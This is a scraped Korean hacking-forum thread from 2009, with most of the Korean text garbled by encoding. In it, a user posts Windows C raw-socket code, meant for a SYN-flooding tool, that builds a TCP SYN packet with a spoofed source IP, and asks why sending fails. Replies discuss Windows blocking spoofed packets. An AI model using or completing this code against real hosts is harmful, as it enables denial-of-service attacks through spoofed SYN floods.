ÇÁ·Î±×·¡¹Ö

 3206, 9/161 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   commio
   [re] ¼ÒÄÏÇÃ¹Ö WSAEINTR 10004 ¿¡·¯ Äڵ忡¿è

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=2123 [º¹»ç]


#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>
#include "SynFlooding.h"

unsigned char packet[40];
unsigned char test[] = {0x45,0x00,0x00,0x28,0x64,0x7a,0x00,0x00,0x80,0xff,0xd8,0x74,0xc0,0xa8,0x00,0x1c,0xc0,0xa8,0x7b,0x7b};
SOCKET hSock;

BOOL MakePacket(char *_ip, short _port);

int main()
{
        char ip[] = "192.168.123.123";
        short port = 8282;
//        printf("Insert IP_ADDR      : ");
//        scanf("%s",ip);
//        printf("Insert PORT_NUM   : ");
//        scanf("%d",&port);
//        printf("Insert ATTACK_NUM: ");
//        scanf("%d",&attack_num);
//        printf("Insert USED_THREAD: ");
//        scanf("%d",&thread_num);
//        printf("ATTACK IP is %s , PORT is %d \n",ip,port);

        MakePacket(ip,port);

//        getch();

        WSADATA wsaData;
        if( WSAStartup( MAKEWORD( 2,2), &wsaData ) != 0 )
        {
                puts("Initrize Error");
                getch();
                exit(1);
        }

        hSock = socket( AF_INET, SOCK_RAW, IPPROTO_RAW);
        if ( INVALID_SOCKET == hSock ){
                printf("SOCKET ERROR : %u\n",WSAGetLastError());
                WSACleanup();
                getch();
                exit(1);
        }
        DWORD Opt = 1;
                SOCKADDR_IN addr;
        memset( &addr, 0,sizeof(SOCKADDR_IN));
        addr.sin_addr.s_addr = inet_addr( ip );
        addr.sin_family = AF_INET;
        addr.sin_port = htons( port );

        
        if( 0  != setsockopt(hSock, IPPROTO_IP, IP_HDRINCL, (char*)&Opt,sizeof(Opt))){
                printf("SETSOCKET ERROR! : %u\n",WSAGetLastError());
                WSACleanup();
                getch();
                exit(1);
        }

        if( SOCKET_ERROR  == sendto(hSock ,(char*)test,sizeof(test)+20, 0, (SOCKADDR*) &addr, sizeof(addr)) ){
                printf("SENDTO ERROR : %u\n",WSAGetLastError());
                if( hSock == NULL ) printf("!!!\n");
                WSACleanup();
                getch();
                exit(1);
        }
        if( SOCKET_ERROR  == sendto(hSock ,(char*)packet,sizeof(packet), 0, (SOCKADDR*) &addr, sizeof(addr)) ){
                printf("SENDTO ERROR : %u\n",WSAGetLastError());
                if( hSock == NULL ) printf("!!!\n");
                WSACleanup();
                getch();
                exit(1);
        }
        getch();
        return 0;
}

BOOL MakePacket(char *_ip, short _port)
{
        memset( packet, 0, 40 );
        IP_HEAD *IP = ( IP_HEAD* )packet;

        IP->Version = 4;
        IP->IHL = 5;
        IP->TL = htons( 40 );
        IP->Sort = htons( 25722 );
        IP->TTL = 128;
        IP->Protocol = 6;
        IP->Check = 299;

        IP->destination_ip = inet_addr( _ip );
        IP->start_ip = inet_addr( "192.168.0.28" );

        TCP_HEAD *TCP = ( TCP_HEAD* ) ( packet + 20 );

        TCP->start_port = htons( _port );
        TCP->destination_port = htons( _port );
        TCP->Sequence = htonl( 82828282 );
        TCP->AckNum = htonl( 58585858 );
        TCP->Offset = 5;
        TCP->SYN = 1;
        TCP->Window = htons( 512 );

        TCP->check = 1;
        return 0;
}
ÀÌÁ¦ main ºÎºÐÀÌ°í¿ä, SynFlooding.h´Â

struct IP_HEAD{
        unsigned char IHL                :        4;
        unsigned char Version        :        4;
        unsigned char TOS                :        8;
        unsigned short TL                :        16;
        unsigned short Sort                :        16;
        unsigned short Flag                :        3;
        unsigned short Offset        :        13;
        unsigned char TTL                :        8;
        unsigned char Protocol        :        8;
        unsigned short Check        :        16;
        unsigned long start_ip        :        32;
        unsigned long destination_ip: 32;
};
struct TCP_HEAD{
        unsigned short start_port;
        unsigned short destination_port;
        unsigned long Sequence;
        unsigned long AckNum;
        unsigned short Offset        :        4;
        unsigned short Reserved        :        6;
        unsigned char URG        :        1;
        unsigned char ACK        :        1;
        unsigned char PSH        :        1;
        unsigned char RST        :        1;
        unsigned char SYN        :        1;
        unsigned char FIN        :        1;
        unsigned short Window;
        unsigned short check;
        unsigned short emergency;
};

ÀÌ°Å¿¡¿ä - _-;;
Å×½ºÆ® ÇÑ´Ù°í Äڵ尡 Á» ¾û¸ÁÀ̱â´ÂÇØ¿ä;;

±×¸®°í test´Â ¾Æ¹«¹®Á¦¾ø´Â( ¾à°£ÀÇ ¹®Á¦´Â ÀÖÁö¸¸ ) ±×³É ÆÐŶÇϳª¸¦ ºÙÀâ¾Æ¼­ ¹ÙÀÌÆ® ´ÜÀ§·Î Àû¾î³õÀº°Å¿¡¿ä;

IP->Protocol = 6; ( IP 6¹øÀÌÁÒ... 8¹ø EGP´Â µÇ°í... 6Àº¾ÈµÇ°í... ÀÌ»óÇÔ ¤Ð_¤Ð )

  Hit : 5585     Date : 2009/09/06 02:11



    
commio TCP Çì´õ¶û IPÇì´õ... ´©°¡ Á¤ÀÇÇسõÀº°Å ¾ø³ª¿ä- _-?
Á¦°¡ ¸¸µé¾î¾µ¶ó´Ï... ±ÍÂú°í... º¸±â ¾ÊÁÁ°í... ºÒ¾ÈÇÏ°í...¤Ð¤Ð
2009/09/06  
k1rha ¹«½¼¹®Á¦ÀÎÁö ¾Ë°Ú½¿´Ù! ±×¸®°í ¹»µå·Á¾ßµÉÁöµµ ¾Ë°Ú±¸¿ä.

ºñ½ºÆ®ÂÊ¿¡¼­ ¾´ ÆÐŶ½º´ÏÇÎ Äڵ尡 ÀÖ¾ú´Âµ¥.. ÆÐŶ±¸µµ ºÐ¼®Çϱ⵵ ÁÁ°í, ±¸Á¶ÆÄÇÐÇϱ⠵üÀε¥..

Â͸¸±â´Þ·Áº¸¼¼¿ä ã¾Æº¸°Ú½À´Ï´Ù ¤»
2009/09/06  
k1rha ã¾Ò³×¿ä ¤»

µµ¿òÀÌ µÇ½Ã±æº÷´Ï´Ù ¤¾
<a href=http://beist.org/research/public/p_sniff/index.html target=_blank>http://beist.org/research/public/p_sniff/index.html</a>
607¹ø¿¡¼­ ¿¡·¯°¡ ¶°¼­ ¹º°¡ ÇÏ°íºÃ´õ´Ï PACKET À̶ó´Â ºÎºÐ¿¡¼­ ÇѱÛÀÚ°¡ ºüÁ®¼­ ¿¡·¯°¡ÀÖ½¿´Ù
ÄÄÆÄÀÏÇҽà ¼öÁ¤Çؼ­ Çϼ¼¿ä ¤¾
2009/09/06  
commio - _¤Ì... ÀÌ°Ô ¾Æ´Ñµ¥¿ä ¤Ð¤Ð
¿Ö sendto¿¡¼­ ¿¡·¯°¡ ¶ß´ÂÁö ¸ð¸£°Ú¾î¿ä... Çì´õ°¡ À߸øµÈ°Íµµ¾Æ´Ñµ¥;;
2009/09/06  
k1rha ÂÊÁöÈ®ÀÎÇØÁÖ¼¼¿ë ¤Ð¤Ð 2009/09/06  
commio ¸®´ª½º À©µµ µÑ´Ù ¾ÈµÇ´Â.........................................¤Ð_¤Ð 2009/09/06  
commio 3Àϵ¿¾È... ¹ã»õ¿ö°¡¸é¼­ °í»ýÇÑ °á°ú....
¿øµµ¿ì¿¡¼­´Â ·Î¿ì¼ÒÄÏÀº ÀÇ¹Ì ¾ø´Â°Å°°¾Æ¿ä...
ÀÚ½ÅÀÇ IPÁÖ¼Ò¿Í ´Ù¸¥ IP·Î source ip ¸¦ ÁöÁ¤ÇÒ °æ¿ì ¿øµµ¿ì Ä¿³Î¼öÁØ¿¡¼­ ÆÐŶ»ý¼º Áß°£¿¡ Â÷´ÜÇعö¸®´Â°Å°°³×¿ä ¤Ð¤Ð
¸®´ª½º¿¡¼­´Â °¡´ÉÇÏ°í..... Èì... Àú Â÷´ÜÀ» ¸·´Â ¹æ¹ýÀÌ ÀÖÀ»°Å°°Àºµ¥...
¿µ¾î ¿ø¼­ Çؼ®Çϱ⿡´Â ·¹º§ ºÎÁ·ÀÌ¶ó¼­ ¤Ð¤Ð
2009/09/07  
3046   [C ¾ð¾î] ¼Ò¼ö ã±â[1]     smile_mut
12/22 5766
3045   gcj¿¡ °üÇؼ­ Áú¹®~[3]     bsshq7
10/29 5762
3044   [C¾ð¾î] redefinition of struck flock ¿¡·¯[3]     kalon
11/22 5757
3043   include & link Áú¹®Àä // c ¾ð¾î¿ä //[2]     tack7
12/18 5743
3042   gcc ¿É¼Ç¿¡¼­ -static °ú -ggdb °¡ ÇÏ´Â ¿ªÇÒÀº?[3]     tinlove21
01/14 5743
3041   [c]Èü ¼¼±×¸ÕÆ®¿Í ½ºÅà ¼¼±×¸ÕÆ®[5]     asdwho
03/21 5727
3040   unp.h ÀÖ´Â °÷ÀÌ...[1]     JeDIY
10/29 5708
3039   DLL ÀÎÁ§¼ÇÀÌ ¹ºÁö ¾Ë°í ½Í¾î¿ä.[1]     asdzxc301
11/21 5705
3038   [ÀÚ¹Ù] String Çü½Ä ¿À·ù ÀÔ´Ï´Ù[7]     Çܺ¸Ä­²ÊÂîÂÞ
11/10 5676
3037   1ºÎÅÍ 100±îÁöÀÇ °ö¿¡ ´ëÇÑ ÀÚ·áÇü ¹®Á¨µ¥¿ä...¤Ð¤Ð[3]     gmlthd0908
12/06 5676
3036   À©µµ¿ì¿ë gcc³ª À©µµ¿ì¿ëcÄÄÆÄÀÏ·¯°¡ ÀÕ³ª¿ä???Åͺ¸¾¾¸»°í¿©[6]     Ä«ÀÌÀú9
11/19 5626
3035   °ÔÀÓÇÙÀ̳ª ´Ù¿îÇÙ(Ŭ·´¹Ú½º,´ÙÀÌÇϵåµî À¯ÇàÇÞ´ø)ÀÇ ¿ø¸®´Â ¹«¾ùÀΰ¡¿ä?[2]     kumi123
09/10 5620
3034   C¾ð¾î¹è¿ì´ÂÁßÀε¥..[5]     ¤Ñ.¤Ñ
09/05 5611
3033   À©µµ¿ì7¿¡¼­ Åͺ¸c ¸»Àä[3]     gkswls123
10/18 5598
3032   JAVA[ÀÚ¹Ù] ¾ð¾î Ã¥ Ãßõ ºÎŹµå¸³´Ï´Ù.[4]     ERIC910903
04/10 5584
    [re] ¼ÒÄÏÇÃ¹Ö WSAEINTR 10004 ¿¡·¯ Äڵ忡¿è[7]     commio
09/06 5584
3030   (ÀÚ¹Ù)¾×¼ÇÀ̺¥Æ® °ü·Ã Áú¹®..[3]     ksbgenius
05/25 5576
3029   c¾ð¾î ¹é±×¶ó¿îµå µ¿ÀÛ..[2]     ³»°ø³È³È
01/02 5571
3028   ¼ôÄÚµù ±â¹ý¿¡ °üÇØ...[2]     asa05
04/09 5568
3027   c¾ð¾îÀÇ Á߿伺¿¡ ´ëÇؼ­ Áú¹®[6]     yonggari306
10/15 5567
[1][2][3][4][5][6][7][8] 9 [10]..[161]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org